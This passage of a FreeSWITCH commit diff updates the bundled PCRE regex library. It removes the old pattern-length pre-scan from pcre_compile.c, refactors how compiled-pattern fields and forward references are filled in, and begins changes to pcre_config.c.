-      if (min != 1)
-        {
-        length -= lastitemlength;   /* Uncount the original char or metachar */
-        if (min > 0) length += 3 + lastitemlength;
-        }
-      length += lastitemlength + ((max > 0)? 3 : 1);
-      }
-
-    if (ptr[1] == '?') ptr++;      /* Needs no extra length */
-
-    POSESSIVE:                     /* Test for possessive quantifier */
-    if (ptr[1] == '+')
-      {
-      ptr++;
-      length += 2 + 2*LINK_SIZE;   /* Allow for atomic brackets */
-      }
-    continue;
-
-    /* An alternation contains an offset to the next branch or ket. If any ims
-    options changed in the previous branch(es), and/or if we are in a
-    lookbehind assertion, extra space will be needed at the start of the
-    branch. This is handled by branch_extra. */
-
-    case '|':
-    length += 1 + LINK_SIZE + branch_extra;
-    continue;
-
-    /* A character class uses 33 characters provided that all the character
-    values are less than 256. Otherwise, it uses a bit map for low valued
-    characters, and individual items for others. Don't worry about character
-    types that aren't allowed in classes - they'll get picked up during the
-    compile. A character class that contains only one single-byte character
-    uses 2 or 3 bytes, depending on whether it is negated or not. Notice this
-    where we can. (In UTF-8 mode we can do this only for chars < 128.) */
-
-    case '[':
-    if (*(++ptr) == '^')
-      {
-      class_optcount = 10;  /* Greater than one */
-      ptr++;
-      }
-    else class_optcount = 0;
-
-#ifdef SUPPORT_UTF8
-    class_utf8 = FALSE;
-#endif
-
-    /* Written as a "do" so that an initial ']' is taken as data */
-
-    if (*ptr != 0) do
-      {
-      /* Inside \Q...\E everything is literal except \E */
-
-      if (inescq)
-        {
-        if (*ptr != '\\' || ptr[1] != 'E') goto GET_ONE_CHARACTER;
-        inescq = FALSE;
-        ptr += 1;
-        continue;
-        }
-
-      /* Outside \Q...\E, check for escapes */
-
-      if (*ptr == '\\')
-        {
-        c = check_escape(&ptr, &errorcode, bracount, options, TRUE);
-        if (errorcode != 0) goto PCRE_ERROR_RETURN;
-
-        /* \b is backspace inside a class; \X is literal */
-
-        if (-c == ESC_b) c = '\b';
-        else if (-c == ESC_X) c = 'X';
-
-        /* \Q enters quoting mode */
-
-        else if (-c == ESC_Q)
-          {
-          inescq = TRUE;
-          continue;
-          }
-
-        /* Handle escapes that turn into characters */
-
-        if (c >= 0) goto NON_SPECIAL_CHARACTER;
-
-        /* Escapes that are meta-things. The normal ones just affect the
-        bit map, but Unicode properties require an XCLASS extended item. */
-
-        else
-          {
-          class_optcount = 10;         /* \d, \s etc; make sure > 1 */
-#ifdef SUPPORT_UTF8
-          if (-c == ESC_p || -c == ESC_P)
-            {
-            if (!class_utf8)
-              {
-              class_utf8 = TRUE;
-              length += LINK_SIZE + 2;
-              }
-            length += 3;
-            }
-#endif
-          }
-        }
-
-      /* Check the syntax for POSIX stuff. The bits we actually handle are
-      checked during the real compile phase. */
-
-      else if (*ptr == '[' &&
-                (ptr[1] == ':' || ptr[1] == '.' || ptr[1] == '=') &&
-                check_posix_syntax(ptr, &ptr, cd))
-        {
-        ptr++;
-        class_optcount = 10;    /* Make sure > 1 */
-        }
-
-      /* Anything else increments the possible optimization count. We have to
-      detect ranges here so that we can compute the number of extra ranges for
-      caseless wide characters when UCP support is available. If there are wide
-      characters, we are going to have to use an XCLASS, even for single
-      characters. */
-
-      else
-        {
-        int d;
-
-        GET_ONE_CHARACTER:
-
-#ifdef SUPPORT_UTF8
-        if (utf8)
-          {
-          int extra = 0;
-          GETCHARLEN(c, ptr, extra);
-          ptr += extra;
-          }
-        else c = *ptr;
-#else
-        c = *ptr;
-#endif
-
-        /* Come here from handling \ above when it escapes to a char value */
-
-        NON_SPECIAL_CHARACTER:
-        class_optcount++;
-
-        d = -1;
-        if (ptr[1] == '-')
-          {
-          uschar const *hyptr = ptr++;
-          if (ptr[1] == '\\')
-            {
-            ptr++;
-            d = check_escape(&ptr, &errorcode, bracount, options, TRUE);
-            if (errorcode != 0) goto PCRE_ERROR_RETURN;
-            if (-d == ESC_b) d = '\b';        /* backspace */
-            else if (-d == ESC_X) d = 'X';    /* literal X in a class */
-            }
-          else if (ptr[1] != 0 && ptr[1] != ']')
-            {
-            ptr++;
-#ifdef SUPPORT_UTF8
-            if (utf8)
-              {
-              int extra = 0;
-              GETCHARLEN(d, ptr, extra);
-              ptr += extra;
-              }
-            else
-#endif
-            d = *ptr;
-            }
-          if (d < 0) ptr = hyptr;      /* go back to hyphen as data */
-          }
-
-        /* If d >= 0 we have a range. In UTF-8 mode, if the end is > 255, or >
-        127 for caseless matching, we will need to use an XCLASS. */
-
-        if (d >= 0)
-          {
-          class_optcount = 10;     /* Ensure > 1 */
-          if (d < c)
-            {
-            errorcode = ERR8;
-            goto PCRE_ERROR_RETURN;
-            }
-
-#ifdef SUPPORT_UTF8
-          if (utf8 && (d > 255 || ((options & PCRE_CASELESS) != 0 && d > 127)))
-            {
-            uschar buffer[6];
-            if (!class_utf8)         /* Allow for XCLASS overhead */
-              {
-              class_utf8 = TRUE;
-              length += LINK_SIZE + 2;
-              }
-
-#ifdef SUPPORT_UCP
-            /* If we have UCP support, find out how many extra ranges are
-            needed to map the other case of characters within this range. We
-            have to mimic the range optimization here, because extending the
-            range upwards might push d over a boundary that makes is use
-            another byte in the UTF-8 representation. */
-
-            if ((options & PCRE_CASELESS) != 0)
-              {
-              int occ, ocd;
-              int cc = c;
-              int origd = d;
-              while (get_othercase_range(&cc, origd, &occ, &ocd))
-                {
-                if (occ >= c && ocd <= d) continue;   /* Skip embedded */
-
-                if (occ < c  && ocd >= c - 1)  /* Extend the basic range */
-                  {                            /* if there is overlap,   */
-                  c = occ;                     /* noting that if occ < c */
-                  continue;                    /* we can't have ocd > d  */
-                  }                            /* because a subrange is  */
-                if (ocd > d && occ <= d + 1)   /* always shorter than    */
-                  {                            /* the basic range.       */
-                  d = ocd;
-                  continue;
-                  }
-
-                /* An extra item is needed */
-
-                length += 1 + _pcre_ord2utf8(occ, buffer) +
-                  ((occ == ocd)? 0 : _pcre_ord2utf8(ocd, buffer));
-                }
-              }
-#endif  /* SUPPORT_UCP */
-
-            /* The length of the (possibly extended) range */
-
-            length += 1 + _pcre_ord2utf8(c, buffer) + _pcre_ord2utf8(d, buffer);
-            }
-#endif  /* SUPPORT_UTF8 */
-
-          }
-
-        /* We have a single character. There is nothing to be done unless we
-        are in UTF-8 mode. If the char is > 255, or 127 when caseless, we must
-        allow for an XCL_SINGLE item, doubled for caselessness if there is UCP
-        support. */
-
-        else
-          {
-#ifdef SUPPORT_UTF8
-          if (utf8 && (c > 255 || ((options & PCRE_CASELESS) != 0 && c > 127)))
-            {
-            uschar buffer[6];
-            class_optcount = 10;     /* Ensure > 1 */
-            if (!class_utf8)         /* Allow for XCLASS overhead */
-              {
-              class_utf8 = TRUE;
-              length += LINK_SIZE + 2;
-              }
-#ifdef SUPPORT_UCP
-            length += (((options & PCRE_CASELESS) != 0)? 2 : 1) *
-              (1 + _pcre_ord2utf8(c, buffer));
-#else   /* SUPPORT_UCP */
-            length += 1 + _pcre_ord2utf8(c, buffer);
-#endif  /* SUPPORT_UCP */
-            }
-#endif  /* SUPPORT_UTF8 */
-          }
-        }
-      }
-    while (*(++ptr) != 0 && (inescq || *ptr != ']')); /* Concludes "do" above */
-
-    if (*ptr == 0)                          /* Missing terminating ']' */
-      {
-      errorcode = ERR6;
-      goto PCRE_ERROR_RETURN;
-      }
-
-    /* We can optimize when there was only one optimizable character. Repeats
-    for positive and negated single one-byte chars are handled by the general
-    code. Here, we handle repeats for the class opcodes. */
-
-    if (class_optcount == 1) length += 3; else
-      {
-      length += 33;
-
-      /* A repeat needs either 1 or 5 bytes. If it is a possessive quantifier,
-      we also need extra for wrapping the whole thing in a sub-pattern. */
-
-      if (*ptr != 0 && ptr[1] == '{' && is_counted_repeat(ptr+2))
-        {
-        ptr = read_repeat_counts(ptr+2, &min, &max, &errorcode);
-        if (errorcode != 0) goto PCRE_ERROR_RETURN;
-        if ((min == 0 && (max == 1 || max == -1)) ||
-          (min == 1 && max == -1))
-            length++;
-        else length += 5;
-        if (ptr[1] == '+')
-          {
-          ptr++;
-          length += 2 + 2*LINK_SIZE;
-          }
-        else if (ptr[1] == '?') ptr++;
-        }
-      }
-    continue;
-
-    /* Brackets may be genuine groups or special things */
-
-    case '(':
-    branch_newextra = 0;
-    bracket_length = 1 + LINK_SIZE;
-    capturing = FALSE;
-
-    /* Handle special forms of bracket, which all start (? */
-
-    if (ptr[1] == '?')
-      {
-      int set, unset;
-      int *optset;
-
-      switch (c = ptr[2])
-        {
-        /* Skip over comments entirely */
-        case '#':
-        ptr += 3;
-        while (*ptr != 0 && *ptr != ')') ptr++;
-        if (*ptr == 0)
-          {
-          errorcode = ERR18;
-          goto PCRE_ERROR_RETURN;
-          }
-        continue;
-
-        /* Non-referencing groups and lookaheads just move the pointer on, and
-        then behave like a non-special bracket, except that they don't increment
-        the count of extracting brackets. Ditto for the "once only" bracket,
-        which is in Perl from version 5.005. */
-
-        case ':':
-        case '=':
-        case '!':
-        case '>':
-        ptr += 2;
-        break;
-
-        /* Named subpatterns are an extension copied from Python */
-
-        case 'P':
-        ptr += 3;
-
-        /* Handle the definition of a named subpattern */
-
-        if (*ptr == '<')
-          {
-          const uschar *p;    /* Don't amalgamate; some compilers */
-          p = ++ptr;          /* grumble at autoincrement in declaration */
-          while ((cd->ctypes[*ptr] & ctype_word) != 0) ptr++;
-          if (*ptr != '>')
-            {
-            errorcode = ERR42;
-            goto PCRE_ERROR_RETURN;
-            }
-          name_count++;
-          if (name_count > MAX_NAME_COUNT)
-            {
-            errorcode = ERR49;
-            goto PCRE_ERROR_RETURN;
-            }
-          if (ptr - p > max_name_size)
-            {
-            max_name_size = (ptr - p);
-            if (max_name_size > MAX_NAME_SIZE)
-              {
-              errorcode = ERR48;
-              goto PCRE_ERROR_RETURN;
-              }
-            }
-          capturing = TRUE;   /* Named parentheses are always capturing */
-          break;              /* Go handle capturing parentheses */
-          }
-
-        /* Handle back references and recursive calls to named subpatterns */
-
-        if (*ptr == '=' || *ptr == '>')
-          {
-          length += 3 + 3*LINK_SIZE;  /* Allow for the automatic "once" */
-          while ((cd->ctypes[*(++ptr)] & ctype_word) != 0);
-          if (*ptr != ')')
-            {
-            errorcode = ERR42;
-            goto PCRE_ERROR_RETURN;
-            }
-          goto RECURSE_CHECK_QUANTIFIED;
-          }
-
-        /* Unknown character after (?P */
-
-        errorcode = ERR41;
-        goto PCRE_ERROR_RETURN;
-
-        /* (?R) specifies a recursive call to the regex, which is an extension
-        to provide the facility which can be obtained by (?p{perl-code}) in
-        Perl 5.6. In Perl 5.8 this has become (??{perl-code}).
-
-        From PCRE 4.00, items such as (?3) specify subroutine-like "calls" to
-        the appropriate numbered brackets. This includes both recursive and
-        non-recursive calls. (?R) is now synonymous with (?0). */
-
-        case 'R':
-        ptr++;
-
-        case '0': case '1': case '2': case '3': case '4':
-        case '5': case '6': case '7': case '8': case '9':
-        ptr += 2;
-        if (c != 'R')
-          while ((digitab[*(++ptr)] & ctype_digit) != 0);
-        if (*ptr != ')')
-          {
-          errorcode = ERR29;
-          goto PCRE_ERROR_RETURN;
-          }
-        length += 3 + 3*LINK_SIZE;  /* Allows for the automatic "once" */
-
-        /* If this item is quantified, it will get wrapped inside brackets so
-        as to use the code for quantified brackets. We jump down and use the
-        code that handles this for real brackets. Come here from code for
-        named recursions/subroutines. */
-
-        RECURSE_CHECK_QUANTIFIED:
-        if (ptr[1] == '+' || ptr[1] == '*' || ptr[1] == '?' || ptr[1] == '{')
-          {
-          length += 2 + 2 * LINK_SIZE;       /* to make bracketed */
-          duplength = 5 + 3 * LINK_SIZE;
-          goto HANDLE_QUANTIFIED_BRACKETS;
-          }
-        continue;
-
-        /* (?C) is an extension which provides "callout" - to provide a bit of
-        the functionality of the Perl (?{...}) feature. An optional number may
-        follow (default is zero). */
-
-        case 'C':
-        ptr += 2;
-        while ((digitab[*(++ptr)] & ctype_digit) != 0);
-        if (*ptr != ')')
-          {
-          errorcode = ERR39;
-          goto PCRE_ERROR_RETURN;
-          }
-        length += 2 + 2*LINK_SIZE;
-        continue;
-
-        /* Lookbehinds are in Perl from version 5.005 */
-
-        case '<':
-        ptr += 3;
-        if (*ptr == '=' || *ptr == '!')
-          {
-          branch_newextra = 1 + LINK_SIZE;
-          length += 1 + LINK_SIZE;         /* For the first branch */
-          break;
-          }
-        errorcode = ERR24;
-        goto PCRE_ERROR_RETURN;
-
-        /* Conditionals are in Perl from version 5.005. The bracket must either
-        be followed by a number (for bracket reference) or by an assertion
-        group. PCRE extends this by allowing a name to reference a named group;
-        unfortunately, previously 'R' was implemented for a recursion test.
-        When this is compiled, we look for the named group 'R' first. At this
-        point we just do a basic syntax check. */
-
-        case '(':
-        if ((cd->ctypes[ptr[3]] & ctype_word) != 0)
-          {
-          ptr += 4;
-          length += 3;
-          while ((cd->ctypes[*ptr] & ctype_word) != 0) ptr++;
-          if (*ptr != ')')
-            {
-            errorcode = ERR26;
-            goto PCRE_ERROR_RETURN;
-            }
-          }
-        else   /* An assertion must follow */
-          {
-          ptr++;   /* Can treat like ':' as far as spacing is concerned */
-          if (ptr[2] != '?' ||
-             (ptr[3] != '=' && ptr[3] != '!' && ptr[3] != '<') )
-            {
-            ptr += 2;    /* To get right offset in message */
-            errorcode = ERR28;
-            goto PCRE_ERROR_RETURN;
-            }
-          }
-        break;
-
-        /* Else loop checking valid options until ) is met. Anything else is an
-        error. If we are without any brackets, i.e. at top level, the settings
-        act as if specified in the options, so massage the options immediately.
-        This is for backward compatibility with Perl 5.004. */
-
-        default:
-        set = unset = 0;
-        optset = &set;
-        ptr += 2;
-
-        for (;; ptr++)
-          {
-          c = *ptr;
-          switch (c)
-            {
-            case 'i':
-            *optset |= PCRE_CASELESS;
-            continue;
-
-            case 'J':
-            *optset |= PCRE_DUPNAMES;
-            options |= PCRE_JCHANGED;   /* Record that it changed */
-            continue;
-
-            case 'm':
-            *optset |= PCRE_MULTILINE;
-            continue;
-
-            case 's':
-            *optset |= PCRE_DOTALL;
-            continue;
-
-            case 'x':
-            *optset |= PCRE_EXTENDED;
-            continue;
-
-            case 'X':
-            *optset |= PCRE_EXTRA;
-            continue;
-
-            case 'U':
-            *optset |= PCRE_UNGREEDY;
-            continue;
-
-            case '-':
-            optset = &unset;
-            continue;
-
-            /* A termination by ')' indicates an options-setting-only item; if
-            this is at the very start of the pattern (indicated by item_count
-            being zero), we use it to set the global options. This is helpful
-            when analyzing the pattern for first characters, etc. Otherwise
-            nothing is done here and it is handled during the compiling
-            process.
-
-            We allow for more than one options setting at the start. If such
-            settings do not change the existing options, nothing is compiled.
-            However, we must leave space just in case something is compiled.
-            This can happen for pathological sequences such as (?i)(?-i)
-            because the global options will end up with -i set. The space is
-            small and not significant. (Before I did this there was a reported
-            bug with (?i)(?-i) in a machine-generated pattern.)
-
-            [Historical note: Up to Perl 5.8, options settings at top level
-            were always global settings, wherever they appeared in the pattern.
-            That is, they were equivalent to an external setting. From 5.8
-            onwards, they apply only to what follows (which is what you might
-            expect).] */
-
-            case ')':
-            if (item_count == 0)
-              {
-              options = (options | set) & (~unset);
-              set = unset = 0;     /* To save length */
-              item_count--;        /* To allow for several */
-              length += 2;
-              }
-
-            /* Fall through */
-
-            /* A termination by ':' indicates the start of a nested group with
-            the given options set. This is again handled at compile time, but
-            we must allow for compiled space if any of the ims options are
-            set. We also have to allow for resetting space at the end of
-            the group, which is why 4 is added to the length and not just 2.
-            If there are several changes of options within the same group, this
-            will lead to an over-estimate on the length, but this shouldn't
-            matter very much. We also have to allow for resetting options at
-            the start of any alternations, which we do by setting
-            branch_newextra to 2. */
-
-            case ':':
-            if (((set|unset) & PCRE_IMS) != 0)
-              {
-              length += 4;
-              branch_newextra = 2;
-              }
-            goto END_OPTIONS;
-
-            /* Unrecognized option character */
-
-            default:
-            errorcode = ERR12;
-            goto PCRE_ERROR_RETURN;
-            }
-          }
-
-        /* If we hit a closing bracket, that's it - this is a freestanding
-        option-setting. We need to ensure that branch_extra is updated if
-        necessary. The only values branch_newextra can have here are 0 or 2.
-        If the value is 2, then branch_extra must either be 2 or 5, depending
-        on whether this is a lookbehind group or not. */
-
-        END_OPTIONS:
-        if (c == ')')
-          {
-          if (branch_newextra == 2 &&
-              (branch_extra == 0 || branch_extra == 1+LINK_SIZE))
-            branch_extra += branch_newextra;
-          continue;
-          }
-
-        /* If options were terminated by ':' control comes here. This is a
-        non-capturing group with an options change. There is nothing more that
-        needs to be done because "capturing" is already set FALSE by default;
-        we can just fall through. */
-
-        }
-      }
-
-    /* Ordinary parentheses, not followed by '?', are capturing unless
-    PCRE_NO_AUTO_CAPTURE is set. */
-
-    else capturing = (options & PCRE_NO_AUTO_CAPTURE) == 0;
-
-    /* Capturing brackets must be counted so we can process escapes in a
-    Perlish way. If the number exceeds EXTRACT_BASIC_MAX we are going to need
-    an additional 3 bytes of memory per capturing bracket. */
-
-    if (capturing)
-      {
-      bracount++;
-      if (bracount > EXTRACT_BASIC_MAX) bracket_length += 3;
-      }
-
-    /* Save length for computing whole length at end if there's a repeat that
-    requires duplication of the group. Also save the current value of
-    branch_extra, and start the new group with the new value. If non-zero, this
-    will either be 2 for a (?imsx: group, or 3 for a lookbehind assertion. */
-
-    if (brastackptr >= sizeof(brastack)/sizeof(int))
-      {
-      errorcode = ERR19;
-      goto PCRE_ERROR_RETURN;
-      }
-
-    bralenstack[brastackptr] = branch_extra;
-    branch_extra = branch_newextra;
-
-    brastack[brastackptr++] = length;
-    length += bracket_length;
-    continue;
-
-    /* Handle ket. Look for subsequent max/min; for certain sets of values we
-    have to replicate this bracket up to that many times. If brastackptr is
-    0 this is an unmatched bracket which will generate an error, but take care
-    not to try to access brastack[-1] when computing the length and restoring
-    the branch_extra value. */
-
-    case ')':
-    length += 1 + LINK_SIZE;
-    if (brastackptr > 0)
-      {
-      duplength = length - brastack[--brastackptr];
-      branch_extra = bralenstack[brastackptr];
-      /* This is a paranoid check to stop integer overflow later on */
-      if (duplength > MAX_DUPLENGTH)
-        {
-        errorcode = ERR50;
-        goto PCRE_ERROR_RETURN;
-        }
-      }
-    else duplength = 0;
-
-    /* The following code is also used when a recursion such as (?3) is
-    followed by a quantifier, because in that case, it has to be wrapped inside
-    brackets so that the quantifier works. The value of duplength must be
-    set before arrival. */
-
-    HANDLE_QUANTIFIED_BRACKETS:
-
-    /* Leave ptr at the final char; for read_repeat_counts this happens
-    automatically; for the others we need an increment. */
-
-    if ((c = ptr[1]) == '{' && is_counted_repeat(ptr+2))
-      {
-      ptr = read_repeat_counts(ptr+2, &min, &max, &errorcode);
-      if (errorcode != 0) goto PCRE_ERROR_RETURN;
-      }
-    else if (c == '*') { min = 0; max = -1; ptr++; }
-    else if (c == '+') { min = 1; max = -1; ptr++; }
-    else if (c == '?') { min = 0; max = 1;  ptr++; }
-    else { min = 1; max = 1; }
-
-    /* If the minimum is zero, we have to allow for an OP_BRAZERO before the
-    group, and if the maximum is greater than zero, we have to replicate
-    maxval-1 times; each replication acquires an OP_BRAZERO plus a nesting
-    bracket set. */
-
-    if (min == 0)
-      {
-      length++;
-      if (max > 0) length += (max - 1) * (duplength + 3 + 2*LINK_SIZE);
-      }
-
-    /* When the minimum is greater than zero, we have to replicate up to
-    minval-1 times, with no additions required in the copies. Then, if there
-    is a limited maximum we have to replicate up to maxval-1 times allowing
-    for a BRAZERO item before each optional copy and nesting brackets for all
-    but one of the optional copies. */
-
-    else
-      {
-      length += (min - 1) * duplength;
-      if (max > min)   /* Need this test as max=-1 means no limit */
-        length += (max - min) * (duplength + 3 + 2*LINK_SIZE)
-          - (2 + 2*LINK_SIZE);
-      }
-
-    /* Allow space for once brackets for "possessive quantifier" */
-
-    if (ptr[1] == '+')
-      {
-      ptr++;
-      length += 2 + 2*LINK_SIZE;
-      }
-    continue;
-
-    /* Non-special character. It won't be space or # in extended mode, so it is
-    always a genuine character. If we are in a \Q...\E sequence, check for the
-    end; if not, we have a literal. */
-
-    default:
-    NORMAL_CHAR:
-
-    if (inescq && c == '\\' && ptr[1] == 'E')
-      {
-      inescq = FALSE;
-      ptr++;
-      continue;
-      }
-
-    length += 2;          /* For a one-byte character */
-    lastitemlength = 1;   /* Default length of last item for repeats */
-
-    /* In UTF-8 mode, check for additional bytes. */
-
-#ifdef SUPPORT_UTF8
-    if (utf8 && (c & 0xc0) == 0xc0)
-      {
-      while ((ptr[1] & 0xc0) == 0x80)         /* Can't flow over the end */
-        {                                     /* because the end is marked */
-        lastitemlength++;                     /* by a zero byte. */
-        length++;
-        ptr++;
-        }
-      }
-#endif
-
-    continue;
-    }
-  }
-
-length += 2 + LINK_SIZE;    /* For final KET and END */
-
-if ((options & PCRE_AUTO_CALLOUT) != 0)
-  length += 2 + 2*LINK_SIZE;  /* For final callout */
-
 if (length > MAX_PATTERN_SIZE)
   {
   errorcode = ERR20;
@@ -5091,9 +6403,10 @@
 
 /* Compute the size of data block needed and get it, either from malloc or
 externally provided function. Integer overflow should no longer be possible
-because nowadays we limit the maximum value of name_count and max_name size. */
+because nowadays we limit the maximum value of cd->names_found and
+cd->name_entry_size. */
 
-size = length + sizeof(real_pcre) + name_count * (max_name_size + 3);
+size = length + sizeof(real_pcre) + cd->names_found * (cd->name_entry_size + 3);
 re = (real_pcre *)(pcre_malloc)(size);
 
 if (re == NULL)
@@ -5102,48 +6415,57 @@
   goto PCRE_EARLY_ERROR_RETURN;
   }
 
-/* Put in the magic number, and save the sizes, options, and character table
-pointer. NULL is used for the default character tables. The nullpad field is at
-the end; it's there to help in the case when a regex compiled on a system with
-4-byte pointers is run on another with 8-byte pointers. */
+/* Put in the magic number, and save the sizes, initial options, internal
+flags, and character table pointer. NULL is used for the default character
+tables. The nullpad field is at the end; it's there to help in the case when a
+regex compiled on a system with 4-byte pointers is run on another with 8-byte
+pointers. */
 
 re->magic_number = MAGIC_NUMBER;
 re->size = size;
-re->options = options;
+re->options = cd->external_options;
+re->flags = cd->external_flags;
 re->dummy1 = 0;
+re->first_byte = 0;
+re->req_byte = 0;
 re->name_table_offset = sizeof(real_pcre);
-re->name_entry_size = max_name_size + 3;
-re->name_count = name_count;
+re->name_entry_size = cd->name_entry_size;
+re->name_count = cd->names_found;
 re->ref_count = 0;
 re->tables = (tables == _pcre_default_tables)? NULL : tables;
 re->nullpad = NULL;
 
 /* The starting points of the name/number translation table and of the code are
-passed around in the compile data block. */
+passed around in the compile data block. The start/end pattern and initial
+options are already set from the pre-compile phase, as is the name_entry_size
+field. Reset the bracket count and the names_found field. Also reset the hwm
+field; this time it's used for remembering forward references to subpatterns.
+*/
 
+cd->final_bracount = cd->bracount;  /* Save for checking forward references */
+cd->bracount = 0;
 cd->names_found = 0;
-cd->name_entry_size = max_name_size + 3;
 cd->name_table = (uschar *)re + re->name_table_offset;
 codestart = cd->name_table + re->name_entry_size * re->name_count;
 cd->start_code = codestart;
-cd->start_pattern = (const uschar *)pattern;
+cd->hwm = cworkspace;
 cd->req_varyopt = 0;
-cd->nopartial = FALSE;
+cd->had_accept = FALSE;
 
 /* Set up a starting, non-extracting bracket, then compile the expression. On
 error, errorcode will be set non-zero, so we don't need to look at the result
 of the function here. */
 
-ptr = (const uschar *)pattern;
+ptr = (const uschar *)pattern + skipatstart;
 code = (uschar *)codestart;
 *code = OP_BRA;
-bracount = 0;
-(void)compile_regex(options, options & PCRE_IMS, &bracount, &code, &ptr,
-  &errorcode, FALSE, 0, &firstbyte, &reqbyte, NULL, cd);
-re->top_bracket = bracount;
+(void)compile_regex(re->options, re->options & PCRE_IMS, &code, &ptr,
+  &errorcode, FALSE, FALSE, 0, &firstbyte, &reqbyte, NULL, cd, NULL);
+re->top_bracket = cd->bracount;
 re->top_backref = cd->top_backref;
+re->flags = cd->external_flags;
 
-if (cd->nopartial) re->options |= PCRE_NOPARTIAL;
+if (cd->had_accept) reqbyte = -1;   /* Must disable after (*ACCEPT) */
 
 /* If not reached end of pattern on success, there's an excess bracket. */
 
@@ -5158,20 +6480,34 @@
 if (code - codestart > length) errorcode = ERR23;
 #endif
 
+/* Fill in any forward references that are required. */
+
+while (errorcode == 0 && cd->hwm > cworkspace)
+  {
+  int offset, recno;
+  const uschar *groupptr;
+  cd->hwm -= LINK_SIZE;
+  offset = GET(cd->hwm, 0);
+  recno = GET(codestart, offset);
+  groupptr = find_bracket(codestart, (re->options & PCRE_UTF8) != 0, recno);
+  if (groupptr == NULL) errorcode = ERR53;
+    else PUT(((uschar *)codestart), offset, groupptr - codestart);
+  }
+
 /* Give an error if there's back reference to a non-existent capturing
 subpattern. */
 
-if (re->top_backref > re->top_bracket) errorcode = ERR15;
+if (errorcode == 0 && re->top_backref > re->top_bracket) errorcode = ERR15;
 
 /* Failed to compile, or error while post-processing */
 
 if (errorcode != 0)
   {
   (pcre_free)(re);
-  PCRE_ERROR_RETURN:
+  PCRE_EARLY_ERROR_RETURN:
   *erroroffset = ptr - (const uschar *)pattern;
-  PCRE_EARLY_ERROR_RETURN:
-  *errorptr = error_texts[errorcode];
+  PCRE_EARLY_ERROR_RETURN2:
+  *errorptr = find_error_text(errorcode);
   if (errorcodeptr != NULL) *errorcodeptr = errorcode;
   return NULL;
   }
@@ -5180,15 +6516,15 @@
 the pattern is anchored by virtue of ^ characters or \A or anything else (such
 as starting with .* when DOTALL is set).
 
-Otherwise, if we know what the first character has to be, save it, because that
+Otherwise, if we know what the first byte has to be, save it, because that
 speeds up unanchored matches no end. If not, see if we can set the
 PCRE_STARTLINE flag. This is helpful for multiline matches when all branches
 start with ^. and also when all branches start with .* for non-DOTALL matches.
 */
 
-if ((options & PCRE_ANCHORED) == 0)
+if ((re->options & PCRE_ANCHORED) == 0)
   {
-  int temp_options = options;
+  int temp_options = re->options;   /* May get changed during these scans */
   if (is_anchored(codestart, &temp_options, 0, cd->backref_map))
     re->options |= PCRE_ANCHORED;
   else
@@ -5200,10 +6536,10 @@
       int ch = firstbyte & 255;
       re->first_byte = ((firstbyte & REQ_CASELESS) != 0 &&
          cd->fcc[ch] == ch)? ch : firstbyte;
-      re->options |= PCRE_FIRSTSET;
+      re->flags |= PCRE_FIRSTSET;
       }
     else if (is_startline(codestart, 0, cd->backref_map))
-      re->options |= PCRE_STARTLINE;
+      re->flags |= PCRE_STARTLINE;
     }
   }
 
@@ -5217,7 +6553,7 @@
   int ch = reqbyte & 255;
   re->req_byte = ((reqbyte & REQ_CASELESS) != 0 &&
     cd->fcc[ch] == ch)? (reqbyte & ~REQ_CASELESS) : reqbyte;
-  re->options |= PCRE_REQCHSET;
+  re->flags |= PCRE_REQCHSET;
   }
 
 /* Print out the compiled data if debugging is enabled. This is never the
@@ -5228,21 +6564,9 @@
 printf("Length = %d top_bracket = %d top_backref = %d\n",
   length, re->top_bracket, re->top_backref);
 
-if (re->options != 0)
-  {
-  printf("%s%s%s%s%s%s%s%s%s\n",
-    ((re->options & PCRE_NOPARTIAL) != 0)? "nopartial " : "",
-    ((re->options & PCRE_ANCHORED) != 0)? "anchored " : "",
-    ((re->options & PCRE_CASELESS) != 0)? "caseless " : "",
-    ((re->options & PCRE_EXTENDED) != 0)? "extended " : "",
-    ((re->options & PCRE_MULTILINE) != 0)? "multiline " : "",
-    ((re->options & PCRE_DOTALL) != 0)? "dotall " : "",
-    ((re->options & PCRE_DOLLAR_ENDONLY) != 0)? "endonly " : "",
-    ((re->options & PCRE_EXTRA) != 0)? "extra " : "",
-    ((re->options & PCRE_UNGREEDY) != 0)? "ungreedy " : "");
-  }
+printf("Options=%08x\n", re->options);
 
-if ((re->options & PCRE_FIRSTSET) != 0)
+if ((re->flags & PCRE_FIRSTSET) != 0)
   {
   int ch = re->first_byte & 255;
   const char *caseless = ((re->first_byte & REQ_CASELESS) == 0)?
@@ -5251,7 +6575,7 @@
     else printf("First char = \\x%02x%s\n", ch, caseless);
   }
 
-if ((re->options & PCRE_REQCHSET) != 0)
+if ((re->flags & PCRE_REQCHSET) != 0)
   {
   int ch = re->req_byte & 255;
   const char *caseless = ((re->req_byte & REQ_CASELESS) == 0)?
@@ -5260,7 +6584,7 @@
     else printf("Req char = \\x%02x%s\n", ch, caseless);
   }
 
-pcre_printint(re, stdout);
+pcre_printint(re, stdout, TRUE);
 
 /* This check is done here in the debugging case so that the code that
 was compiled can be seen. */
@@ -5268,12 +6592,12 @@
 if (code - codestart > length)
   {
   (pcre_free)(re);
-  *errorptr = error_texts[ERR23];
+  *errorptr = find_error_text(ERR23);
   *erroroffset = ptr - (uschar *)pattern;
   if (errorcodeptr != NULL) *errorcodeptr = ERR23;
   return NULL;
   }
-#endif
+#endif   /* PCRE_DEBUG */
 
 return (pcre *)re;
 }

Modified: freeswitch/branches/seven/libs/pcre/pcre_config.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_config.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_config.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,7 @@
 and semantics are as close as possible to those of the Perl 5 language.
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2006 University of Cambridge
+           Copyright (c) 1997-2009 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -41,6 +41,10 @@
 /* This module contains the external function pcre_config(). */
 
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include "pcre_internal.h"
 
 
@@ -58,7 +62,7 @@
 Returns:           0 if data returned, negative on error
 */
 
-PCRE_DATA_SCOPE int
+PCRE_EXP_DEFN int PCRE_CALL_CONVENTION
 pcre_config(int what, void *where)
 {
 switch (what)
@@ -83,6 +87,14 @@
   *((int *)where) = NEWLINE;
   break;
 
+  case PCRE_CONFIG_BSR:
+#ifdef BSR_ANYCRLF
+  *((int *)where) = 1;
+#else
+  *((int *)where) = 0;
+#endif
